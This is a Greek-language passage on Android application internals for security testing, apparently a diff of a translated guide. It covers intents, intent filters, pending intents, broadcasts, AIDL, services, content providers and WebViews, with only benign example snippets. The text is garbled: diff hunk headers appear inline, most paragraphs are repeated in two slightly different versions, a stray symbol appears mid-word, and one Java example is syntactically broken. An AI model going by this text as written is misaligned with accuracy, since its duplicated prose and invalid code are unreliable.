Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί το JVM όπως στις εφαρμογές επιφάνειας εργασίας, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, η Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
Για την αντιστροφή μηχανική, το **Smali** γίνεται κρίσιμο. Είναι η αναγνώσιμη από ανθρώπους έκδοση του DEX bytecode, λειτουργώντας όπως η γλώσσα συναρμολόγησης μεταφράζοντας τον πηγαίο κώδικα σε εντολές bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία συναρμολόγησης και αποσυναρμολόγησης σε αυτό το πλαίσιο.
Για την ανάστροφη μηχανική, το **Smali** γίνεται κρίσιμο. Είναι η αναγνώσιμη από ανθρώπους έκδοση του DEX bytecode, λειτουργώντας όπως η γλώσσα συναρμολόγησης μεταφράζοντας τον πηγαίο κώδικα σε εντολές bytecode. Το Smali και το baksmali αναφέρονται στα εργαλεία συναρμολόγησης και αποσυναρμολόγησης σε αυτό το πλαίσιο.
## Intents
Τα Intents είναι ο κύριος τρόπος με τον οποίο οι εφαρμογές Android επικοινωνούν μεταξύ των συστατικών τους ή με άλλες εφαρμογές. Αυτά τα αντικείμενα μηνυμάτων μπορούν επίσης να μεταφέρουν δεδομένα μεταξύ εφαρμογών ή συστατικών, παρόμοια με τον τρόπο με τον οποίο χρησιμοποιούνται οι αιτήσεις GET/POST στις επικοινωνίες HTTP.
Τα Intents είναι ο κύριος τρόπος με τον οποίο οι εφαρμογές Android επικοινωνούν μεταξύ των συστατικών τους ή με άλλες εφαρμογές. Αυτά τα αντικείμενα μηνυμάτων μπορούν επίσης να μεταφέρουν δεδομένα μεταξύ εφαρμογών ή στοιχείων, παρόμοια με τον τρόπο με τον οποίο χρησιμοποιούνται οι αιτήσεις GET/POST στις επικοινωνίες HTTP.
Έτσι, ένα Intent είναι βασικά ένα **μήνυμα που περνάει μεταξύ συστατικών**. Τα Intents **μπορούν να κατευθυνθούν** σε συγκεκριμένα στοιχεία ή εφαρμογές, **ή να σταλούν χωρίς συγκεκριμένο παραλήπτη**.\
Για να είναι απλό, το Intent μπορεί να χρησιμοποιηθεί:
@ -85,19 +93,19 @@
### Intent-Filter
Τα **Intent Filters** ορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Broadcast Receiver μπορεί να αλληλεπιδράσει με διαφορετικούς τύπους Intents**. Βασικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελέσουν ή τι είδους μεταδόσεις μπορούν να επεξεργαστούν. Ο κύριος τρόπος να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **αρχείο AndroidManifest.xml**, αν και για τους Broadcast Receivers, η κωδικοποίησή τους είναι επίσης μια επιλογή.
Τα **Intent Filters** ορίζουν **πώς μια δραστηριότητα, υπηρεσία ή Δέκτης Μετάδοσης μπορεί να αλληλεπιδράσει με διαφορετικούς τύπους Intents**. Βασικά, περιγράφουν τις δυνατότητες αυτών των στοιχείων, όπως ποιες ενέργειες μπορούν να εκτελέσουν ή τι είδους μεταδόσεις μπορούν να επεξεργαστούν. Ο κύριος τρόπος να δηλωθούν αυτά τα φίλτρα είναι μέσα στο **αρχείο AndroidManifest.xml**, αν και για τους Δέκτες Μετάδοσης, η κωδικοποίησή τους είναι επίσης μια επιλογή.
Τα Intent Filters αποτελούνται από κατηγορίες, ενέργειες και φίλτρα δεδομένων, με τη δυνατότητα συμπερίληψης επιπλέον μεταδεδομένων. Αυτή η ρύθμιση επιτρέπει στα στοιχεία να χειριστούν συγκεκριμένα Intents που ταιριάζουν με τα δηλωμένα κριτήρια.
Ένα κρίσιμο στοιχείο των στοιχείων Android (δραστηριότητες/υπηρεσίες/content providers/Broadcast Receivers) είναι η ορατότητά τους ή **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδρά με άλλες εφαρμογές εάν είναι **`εξαγόμενο`** με μια τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter για αυτό στον κατάλογο. Ωστόσο, Ͽα υπάρχει ένας τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά ρητά, εξασφαλίζοντας ότι δεν θα αλληλεπιδράν με άλλες εφαρμογές ακούσια. Αυτό επιτυγχάνεται με τον καθορισμό του χαρακτηριστικού **`εξαγωγή`** σε **`false`** στις ορισμούς τους στον κατάλογο.
Ένα κρίσιμο στοιχείο των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες μετάδοσης) είναι η ορατότητά τους ή **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδρά με άλλες εφαρμογές εάν είναι **`εξαγόμενο`** με μια τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter για αυτό στον κατάλογο. Ωστόσο, Ͽαρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά ρητά, εξασφαλίζοντας ότι δεν θα αλληλεπιδράσουν με άλλες εφαρμογές ακούσια. Αυτό επιτυγχάνεται με την ρύθμιση του χαρακτηριστικού **`εξαγόμενο`** σε **`false`** στις ορισμούς τους στον κατάλογο.
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το χαρακτηριστικό **`άδεια`** μπορεί να οριστεί για να επιβάλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και έλεγχο πάνω σε ποιος μπορεί να αλληλεπιδρά με αυτό.
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το χαρακτηριστικό **`άδεια`** μπορεί να οριστεί για να επιβάλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και έλεγχο πάνω σε ποιος μπορεί να αλληλεπιδράσει με αυτό.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
```
### Σιωπηρές Προθέσεις
### Συμπεριληπτικές Προθέσεις
Οι προθέσεις δημιουργούνται προγραμματικά χρησιμοποιώντας έναν κατασκευαστή Πρόθεσης:
```java
@ -116,11 +124,11 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
Ένα intent-filter χρειάζεται να ταιριάζει την **action**, **data** και **category** για να λάβει ένα μήνυμα.
Η διαδικασία "Επίλυση Intent" καθορίζει ποια εφαρμογή θα πρέπει να λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το **προτεραιότητας attribute**, το οποίο μπορεί να οριστεί στη δήλωση του **intent-filter**, και **επιλέγεται αυτό με τη μεγαλύτερη προτεραιότητα**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Εάν προκύψει **σύγκρουση**, εμφανίζεται ένα παράθυρο "επιλογής" ώστε ο **χρήστης να αποφασίσει**.
Η διαδικασία "Intent resolution" καθορίζει ποια εφαρμογή θα πρέπει να λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το **προτεραιότητας attribute**, το οποίο μπορεί να οριστεί στη δήλωση του **intent-filter**, και **επιλέγεται αυτό με τη μεγαλύτερη προτεραιότητα**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Αν προκύψει **σύγκρουση**, εμφανίζεται ένα παράθυρο "choser" ώστε ο **χρήστης να αποφασίσει**.
### Σαφή Intents
Ένα σαφές intent καθορίζει το όνομα της κλάσης στην οποία απευθύνεται:
Ένα σαφές intent καθορίζει το όνομα της κλάσης που στοχεύει:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -132,22 +140,22 @@ context.startService(intent);
```
### Ενέργειες που εκκρεμούν
Αυτές επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Κατά τη δημιουργία μιας Ενέργειας που εκκρεμεί πρέπει να **καθοριστεί ένα intent και η ενέργεια που πρέπει να εκτελεστεί**. Αν το **καθορισμένο intent δεν είναι Συγκεκριμένο** (δεν καθορίζει ποιο intent μπορεί να το καλέσει), μια **κακόβουλη εφαρμογή μπορεί να εκτελέσει την καθορισμένη ενέργεια** εκ μέρους της εφαρμογής θύματος. Επιπλέον, **αν δεν καθοριστεί μια ενέργεια**, η κακόβουλη εφαρμογή θα μπορεί να κάνει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**.
Αυτές επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Κατά τη δημιουργία μιας Ενέργειας που εκκρεμεί πρέπει να **καθοριστεί ένα intent και η ενέργεια που πρέπει να εκτελεστεί**. Αν το **δηλωμένο intent δεν είναι Συγκεκριμένο** (δεν δηλώνει ποιο intent μπορεί να το καλέσει), μια **κακόβουλη εφαρμογή μπορεί να εκτελέσει τη δηλωμένη ενέργεια** εκ μέρους της εφαρμογής θύματος. Επιπλέον, **αν δεν καθοριστεί μια ενέργεια**, η κακόβουλη εφαρμογή θα μπορεί να κάνει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**.
### Ενέργειες Διανομής
Αντίθετα με τις προηγούμενες ενέργειες, οι οποίες λαμβάνονται μόνο από μία εφαρμογή, οι ενέργειες διανομής **μπορούν να ληφθούν από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που πρέπει να λάβει** το μήνυμα χρησιμοποιώντας το Intent.set Package.
Αντίθετα με τα προηγούμενα intents, τα οποία λαμβάνονται μόνο από μια εφαρμογή, οι ενέργειες διανομής **μπορούν να ληφθούν από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που πρέπει να λάβει** το μήνυμα χρησιμοποιώντας το Intent.set Package.
Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή της διανομής**. Η εφαρμογή παραλήπτης θα πρέπει να έχει αυτήν την άδεια.
Υπάρχουν **δύο τύποι** Διανομών: **Κανονικές** (ασύγχρονες) και **Ταξινομημένες** (σύγχρονες). Η **σειρά** βασίζεται στη **διαμορφωμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταδώσει ή να απορρίψει τη Διανομή.**
Υπάρχουν **δύο τύποι** Διανομών: **Κανονικές** (ασύγχρονες) και **Ταξινομημένες** (σύγχρονες). Η **σειρά** βασίζεται στη **ρυθμισμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταδώσει ή να απορρίψει τη Διανομή.**
Είναι δυνατό να **στείλετε** μια **διανομή** χρησιμοποιώντας τη λειτουργία `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\
Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από το **`LocalBroadCastManager`** εξασφαλίζοντας ότι το **μήνυμα δεν αφήνει ποτέ την εφαρμογή**. Χρησιμοποιώντας αυτό, ακόμη και δεν θα χρειαστεί να εξαγάγετε ένα στοιχείο παραλήπτη.
Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από το **`LocalBroadCastManager`** εξασφαλίζοντας ότι το **μήνυμα δεν αφήνει ποτέ την εφαρμογή**. Χρησιμοποιώντας αυτό, ακόμα και δεν θα χρειαστεί να εξαγάγετε ένα στοιχείο παραλήπτη.
### Κολλητές Διανομές
Αυτού του είδους οι Διανομές **μπορούν να αποκτηθούν πολύ καιρό μετά την αποστολή τους**.\
Αυτού του είδους οι Διανομές **μπορούν να ανακτηθούν πολύ καιρό μετά την αποστολή τους**.\
Αυτές αποσύρθηκαν στο επίπεδο API 21 και συνιστάται να **μην χρησιμοποιούνται**.\
**Επιτρέπουν σε οποιαδήποτε εφαρμογή να κατασκοπεύσει τα δεδομένα, αλλά και να τα τροποποιήσει.**
@ -184,17 +192,17 @@ android:host="example"
```
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην εφαρμογή**, πηγαίνετε στη δραστηριότητα που καλείται από το deeplink και αναζητήστε τη λειτουργία **`onNewIntent`**.
Μάθετε πώς να [καλέσετε deep links χωρίς τη χρήση σελίδων HTML](./#exploiting-schemes-deep-links).
Μάθετε πώς να [καλείτε deep links χωρίς τη χρήση σελίδων HTML](./#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
Η **Γλώσσα Ορισμού Διεπαφής Android (AIDL)** σχεδιάστηκε για τη διευκόλυνση της επικοινωνίας μεταξύ πελάτη και υπηρεσίας στις εφαρμογές Android μέσω **διαδικασίας μεταξύ διεργασιών** (IPC). Δεδομένου ότι η πρόσβαση στη μνήμη μιας άλλης διεργασίας δεν επιτρέπεται στο Android, η AIDL απλοποιεί τη διαδικασία μετατροπής αντικειμένων σε ένα μορφότυπο που κατανοεί το λειτουργικό σύστημα, διευκολύνοντας έτσι την επικοινωνία μεταξύ διαφορετικών διεργασιών.
Η **Γλώσσα Ορισμού Διεπαφής Android (AIDL)** σχεδιάστηκε για τη διευκόλυνση της επικοινωνίας μεταξύ πελάτη και υπηρεσίας στις εφαρμογές Android μέσω **διαδικασίας μεταξύ διεργασιών** (IPC). Δεδομένου ότι η πρόσβαση στη μνήμη μιας άλλης διεργασίας δεν επιτρέπεται στο Android, η AIDL απλοποιεί τη διαδικασία με το να μετατρέπει αντικείμενα σε ένα μορφότυπο που κατανοεί το λειτουργικό σύστημα, διευκολύνοντας έτσι την επικοινωνία μεταξύ διαφορετικών διεργασιών.
### Βασικές Έννοιες
- **Υπηρεσίες που συνδέονται**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή στοιχεία να συνδεθούν με μια υπηρεσία, να κάνουν αιτήσεις και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την έναν σημαντικό τομέα για αναθεώρηση ασφάλειας ώστε να αναζητηθούν ευπάθειες.
- **Messenger**: Λειτουργώντας ως συνδεδεμένη υπηρεσία, το Messenger διευκολύνει το IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι ουσιώδες να ελέγξετε προσεκτικά αυτήν τη μέθοδο για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
- **Messenger**: Λειτουργώντας ως συνδεδεμένη υπηρεσία, ο Messenger διευκολύνει το IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι ουσιώδες να ελέγξετε προσεκτικά αυτήν τη μέθοδο για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
- **Binder**: Παρόλο που η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης της AIDL, είναι χρήσιμο να κατανοήσετε ότι ο Binder λειτουργεί ως οδηγός σε επίπεδο πυρήνα που διευκολύνει τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διεργασιών. Για περισσότερη κατανόηση, υπάρχει ένας πόρος στο [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
@ -204,9 +212,9 @@ android:host="example"
### Δραστηριότητες εκκίνησης και άλλες δραστηριότητες
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που εμφανίζουν διαφορετικά μέρη της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία παρουσιάζοντας μια μοναδική οθόνη στον χρήστη.
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που εμφανίζουν διαφορετικά τμήματα της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία παρουσιάζοντας μια μοναδική οθόνη στον χρήστη.
Η **δραστηριότητα εκκίνησης (launcher activity)** είναι η κύρια πύλη εισόδου σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο με τις δηλώσεις της εφαρμογής με συγκεκριμένες προθέσεις MAIN και LAUNCHER:
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη εισόδου σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο με τις δηλώσεις της εφαρμογής με συγκεκριμένες προθέσεις MAIN και LAUNCHER:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -215,7 +223,7 @@ android:host="example"
</intent-filter>
</activity>
```
Δεν όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές χωρίς διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
Δεν όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές που δεν έχουν διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "εξαγωγή" στον πίνακα. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινήσουν αυτήν τη δραστηριότητα:
```markdown
@ -223,11 +231,11 @@ android:host="example"
```
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν αποτελεί πάντα κίνδυνο για την ασφάλεια. Η ανησυχία προκύπτει εάν ευαίσθητα δεδομένα μοιράζονται εσφαλμένα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
Η διαδικασία ζωής μιας δραστηριότητας **ξεκινά με τη μέθοδο onCreate**, ρυθμίζοντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
Το **κύκλο ζωής μιας δραστηριότητας** ξεκινά με τη μέθοδο **onCreate**, δημιουργώντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
### Υποκλάση Εφαρμογής
Στην ανάπτυξη Android, μια εφαρμογή έχει τη δυνατότητα να δημιουργήσει μια **υποκλάση** της [Εφαρμογής](https://developer.android.com/reference/android/app/Application) κλάσης, αν και δεν είναι υποχρεωτικό. Όταν ορίζεται μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που δημιουργείται μέσα στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, εάν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει η υπόλοιπη εφαρμογή.
Στην ανάπτυξη Android, μια εφαρμογή έχει τη δυνατότητα να δημιουργήσει μια **υποκλάση** της κλάσης [Application](https://developer.android.com/reference/android/app/Application), αν και δεν είναι υποχρεωτικό. Όταν ορίζεται μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που δημιουργείται στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, εάν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει η υπόλοιπη εφαρμογή.
```java
public class MyApp extends Application {
@Override
@ -245,7 +253,7 @@ super.onCreate();
```
### Υπηρεσίες
[Οι υπηρεσίες](https://developer.android.com/guide/components/services) είναι **φόντο λειτουργοί** ικανοί να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμα και όταν οι χρήστες μεταβαίνουν σε διαφορετικές εφαρμογές, κάνοντας τις υπηρεσίες κρίσιμες για **εργασίες με μεγάλη διάρκεια**.
[Οι υπηρεσίες](https://developer.android.com/guide/components/services) είναι **φόντο λειτουργοί** ικανοί να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμα και όταν οι χρήστες μεταβαίνουν σε διαφορετικές εφαρμογές, κάνοντας τις υπηρεσίες κρίσιμες για **εργασίες μεγάλης διάρκειας**.
Οι υπηρεσίες είναι ευέλικτες. Μπορούν να εκκινηθούν με διάφορους τρόπους, με τα **Intents** να είναι ο κύριος τρόπος εκκίνησής τους ως σημείο εισόδου μιας εφαρμογής. Μόλις μια υπηρεσία ξεκινήσει χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` της ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί εκ των υστέρων η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μετάδοση δεδομένων.
@ -253,19 +261,19 @@ super.onCreate();
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Αναμεταδότες Εκπομπής
### Αποδέκτες Εκπομπής
Οι **αναμεταδότες εκπομπής** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκρίνονται στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν αναμεταδότη** με **δύο βασικούς τρόπους**: μέσω του **Μανιφέστου** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του API **`registerReceiver`**. Στο Μανιφέστο, οι εκπομπές φιλτράρονται με δικαιώματα, ενώ οι αναμεταδότες που καταχωρούνται δυναμικά μπορούν επίσης να καθορίσουν δικαιώματα κατά την καταχώρηση.
Οι **αποδέκτες εκπομπής** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκρίνονται στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν αποδέκτη** με **δύο βασικούς τρόπους**: μέσω του **Μανιφέστου** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του API **`registerReceiver`**. Στο Μανιφέστο, οι εκπομπές φιλτράρονται με δικαιώματα, ενώ οι δυναμικά καταχωρημένοι αποδέκτες μπορούν επίσης να καθορίσουν δικαιώματα κατά την καταχώρηση.
Οι **φίλτρα προθέσεων** είναι κρίσιμα σε και τους δύο τρόπους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον αναμεταδότη. Μόλις αποσταλεί μια αντίστοιχη εκπομπή, ενεργοποιείται η μέθοδος **`onReceive`** του αναμεταδότη, επιτρέποντας στην εφαρμογή να αντιδρά αναλόγως, όπως προσαρμογή της συμπεριφοράς σε απάντηση σε μια ειδοποίηση για χαμηλή μπαταρία.
Οι **φίλτρα προθέσεων** είναι κρίσιμα σε και τους δύο τρόπους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον αποδέκτη. Μόλα που στάλθηκε μια αντίστοιχη εκπομπή, ενεργοποιείται η μέθοδος **`onReceive`** του αποδέκτη, επιτρέποντας στην εφαρμογή να αντιδράσει ανάλογα, όπως προσαρμογή της συμπεριφοράς σε απάντηση σε μια χαμηλή ειδοποίηση μπαταρίας.
Οι εκπομπές μπορούν να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους αναμεταδότες χωρίς σειρά, είτε **σύγχρονες**, όπου οι αναμεταδότες λαμβάνουν την εκπομπή με βάση τις καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο δυνητικός κίνδυνος για την ασφάλεια, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμβαίνει σε μια εκπομπή.
Οι εκπομπές μπορούν να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους αποδέκτες χωρίς σειρά, είτε **σύγχρονες**, όπου οι αποδέκτες λαμβάνουν την εκπομπή με βάση τις καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο δυνητικός κίνδυνος για την ασφάλεια, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμβεί σε μια εκπομπή.
Για να κατανοήσετε τη λειτουργικότητα ενός αναμεταδότη, ψάξτε για τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί την ληφθείσα Πρόθεση, υπογραμμίζοντας την ανάγκη επικύρωσης δεδομένων από τους αναμεταδότες, ειδικά σε **Ταξινομημένες Εκπομπές**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν την Πρόθεση.
Για να κατανοήσετε τη λειτουργικότητα ενός αποδέκτη, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να τροποποιήσει την ληφθείσα Πρόθεση, υπογραμμίζοντας την ανάγκη επικύρωσης δεδομένων από τους αποδέκτες, ειδικά σε **Ταξινομημένες Εκπομπές**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν την Πρόθεση.
### Πάροχοι Περιεχομένου
Οι **Πάροχοι Περιεχομένου** είναι ουσιώδεις για το **διαμοιρασμό δομημένων δεδομένων** μεταξύ εφαρμογών, υπογραμμίζοντας τη σημασία της εφαρμογής **δικαιωμάτων** για να διασφαλιστεί η ασφάλεια των δεδομένων. Επιτρέπουν στις εφαρμογές να έχουν πρόσβαση σε δεδομένα από διάφορες πηγές, συμπεριλαμβανομένων βάσεων δεδομένων, συστημάτων αρχείων ή του web. Ειδικά δικαιώματα, όπως **`readPermission`** και **`writePermission`**, είναι κρίσιμα για τον έλεγχο της πρόσβασης. Επιπλέον, μπορεί να χορηγηθεί προσωρινή πρόσβαση μέσω των ρυθμίσεων **`grantUriPermission`** στο μανιφέστο της εφαρμογής, εκμεταλλευόμενο χαρακτηριστικά όπως `path`, `pathPrefix` και `pathPattern` για λεπτομερή έλεγχο πρόσβασης.
Οι **Πάροχοι Περιεχομένου** είναι ουσιώδεις για το **διαμοιρασμό δομημένων δεδομένων** μεταξύ εφαρμογών, τονίζοντας τη σημασία της υλοποίησης **δικαιωμάτων** για να διασφαλιστεί η ασφάλεια των δεδομένων. Επιτρέπουν στις εφαρμογές να έχουν πρόσβαση σε δεδομένα από διάφορες πηγές, συμπεριλαμβανομένων βάσεων δεδομένων, συστημάτων αρχείων ή του web. Ειδικά δικαιώματα, όπως **`readPermission`** και **`writePermission`**, είναι κρίσιμα για τον έλεγχο της πρόσβασης. Επιπλέον, μπορεί να χορηγηθεί προσωρινή πρόσβαση μέσω ρυθμίσεων **`grantUriPermission`** στο μανιφέστο της εφαρμογής, εκμεταλλευόμενο χαρακτηριστικά όπως `path`, `pathPrefix` και `pathPattern` για λεπτομερή έλεγχο πρόσβασης.
Η επικύρωση εισόδου είναι ζωτικής σημασίας για την πρόληψη ευπαθειών, όπως η εισχώρηση SQL. Οι Πάροχοι Περιεχομένου υποστηρίζουν βασικές λειτουργίες: `insert()`, `update()`, `delete()` και `query()`, διευκολύνοντας τη διαχείριση δεδομένων και τον διαμοιρασμό μεταξύ εφαρμογών.
@ -293,12 +301,12 @@ android:resource="@xml/filepaths" />
## WebViews
Τα WebViews είναι σαν **μικροί web browsers** μέσα σε εφαρμογές Android, εμφανίζοντας περιεχόμενο είτε από το web είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς browsers, ωστόσο υπάρχουν τρόποι για να **μειωθούν αυτοί οι κίνδυνοι** μέσω συγκεκριμένων **ρυθμίσεων**.
Τα WebViews είναι σαν **μικροσκοπικοί web browsers** μέσα σε εφαρμογές Android, εμφανίζοντας περιεχόμενο είτε από το web είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς browsers, ωστόσο υπάρχουν τρόποι για να **μειωθούν αυτοί οι κίνδυνοι** μέσω συγκεκριμένων **ρυθμίσεων**.
Το Android προσφέρει δύο κύριους τύπους WebView:
- Ο **WebViewClient** είναι ιδανικός για βασικό HTML αλλά δεν υποστηρίζει τη λειτουργία ειδοποίησης JavaScript, επηρεάζοντας τον τρόπο που μπορούν να δοκιμαστούν οι επιθέσεις XSS.
- Ο **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του περιηγητή Chrome.
- Ο **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του πλοηγού Chrome.
